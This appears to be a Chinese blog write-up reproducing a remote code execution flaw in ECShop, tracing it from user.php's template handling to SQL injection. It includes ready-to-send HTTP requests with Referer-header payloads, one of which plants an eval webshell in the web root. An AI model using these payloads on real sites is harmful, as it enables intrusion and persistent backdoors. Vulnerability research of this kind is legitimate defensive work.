专栏首页尚国ECShop全系列版本远程代码执行漏洞复现

ECShop全系列版本远程代码执行漏洞复现

前言

问题发生在user.php的display函数,模版变量可控,导致注入,配合注入可达到远程代码执行

漏洞分析

0x01-SQL注入

先看user.php

$back_act变量来源于HTTP_REFERER,我们可控。

assign函数用于在模版变量里赋值

再看display函数

读取user_passport.dwt模版文件内容,显示解析变量后的html内容,用_echash做分割,得到$k然后交给isnert_mod处理,由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。

再看insert_mod函数

非常关键的一个地方,这里进行了动态调用

$val传入进来用|分割,参数传入进来时需要被序列化

再看include/lib_insert.php中的insert_ads函数

可以看到这里直接就能注入了

payload:

GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

0x02-代码执行

继续看fetch函数

追踪_eval函数

$position_style变量来源于数据库中的查询结构

然后我们继续构造SQL注入,因为这段sql操作 order by部分换行了截断不了 所以需要在id处构造注释来配合num进行union查询

payload

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop27`.`ecs_ad` AS a LEFT JOIN `ecshop27`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,2,3,4,5,6,7,8,9,10-- -

函数中有一个判断

我们 id传入’/*

num传入*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -就能绕过了

var_dump一下

再看fetch函数,传入的参数被fetch_str函数处理了

追踪fetch_str函数,这里的字符串处理流程比较复杂

return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);

这一行意思是比如$source是xxxx{$asd}xxx,那么经过这行代码处理后就是返回this->select(‘$asd’)的结果

看看select函数

第一个字符为$时进入$this->get_val函数

我们$val没有.$又进入make_var函数

最后这里引入单引号从变量中逃逸

我们要闭合_var所以最终payload是

{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEudHh0JywnZ2V0c2hlbGwnKQ=='));//}xxx

会在网站跟目录生成1.txt 里面内容是getshell

GETSHELL exp:

GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

会在网站根目录生成1.php 密码是1337

修复建议

intval $arr[id]和$arr[num]

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • EOS节点远程代码执行漏洞细节

    漏洞存在于在 libraries/chain/webassembly/binaryen.cpp文件的78行,

    伍尚国
  • 深入剖析最新IE0day漏洞

    在2018年4月下旬,我们使用沙箱发现了IE0day漏洞;自从在野外发现上一个样本(CVE-2016-0189)已经有两年多了。从许多方面来看,这个特别的漏洞及...

    伍尚国
  • CISP-PTE注册信息安全专业人员渗透测试工程师知识体系大纲

    伍尚国
  • 测试数据准备方法以及未来的发展方向

    测试数据的准备,是软件测试工作中非常重要的环节,无论是手工测试还是自动化测试都避不开测试数据准备工作。今天我们就来聊一聊测试工作中常用的测试数据准备的方法,深入...

    小老鼠
  • 浅谈 T-SQL语句操纵数据表

    SQL是结构化查询语言,也是关系数据库的标准语言,各类数据库都支持SQL作为查询语言。 T-SQL 是标准SQL的加强版,除了标准的SQL命令之外,还对SQL命...

    小手冰凉
  • 我大胆把玩了"Stanford Doggo"四足机器人!

    说大胆把玩 当然是要强迫她 按照我的意思 摆出我喜欢的体位 走出我侧目的步调 扭出我满意的身姿

    聪明的瓦肯人
  • SSM框架(七)Mybatis实用的动态SQL

    有时候,我们不想用到所有的查询条件,只想选择其中的一个,查询条件有一个满足即可,使用 choose 标签可以解决此类问题,类似于 Java 的 switch 语...

    HcodeBlogger
  • “超越权限”侵入计算机信息系统是否构成犯罪?

    超越授权权限进入计算机信息系统,其本质仍是违背了被害方的意愿,仍属于非法获取计算机信息系统数据罪中的侵入他人计算机信息系统的行为。

    周俊辉
  • 技术转载——MyBatis查询和新增、更新删除操作

    但是多字段的时候怎么办,每个参数都进行as操作吗?这里就用到Mybatis的自带配置

    用户5546570
  • Mybatis第五篇| 这个sql,它会动!

    今天我们来学习一下动态sql,看起来很NB的感觉。我们来看看官网是怎么来介绍动态sql的。

    Python进击者

扫码关注云+社区

领取腾讯云代金券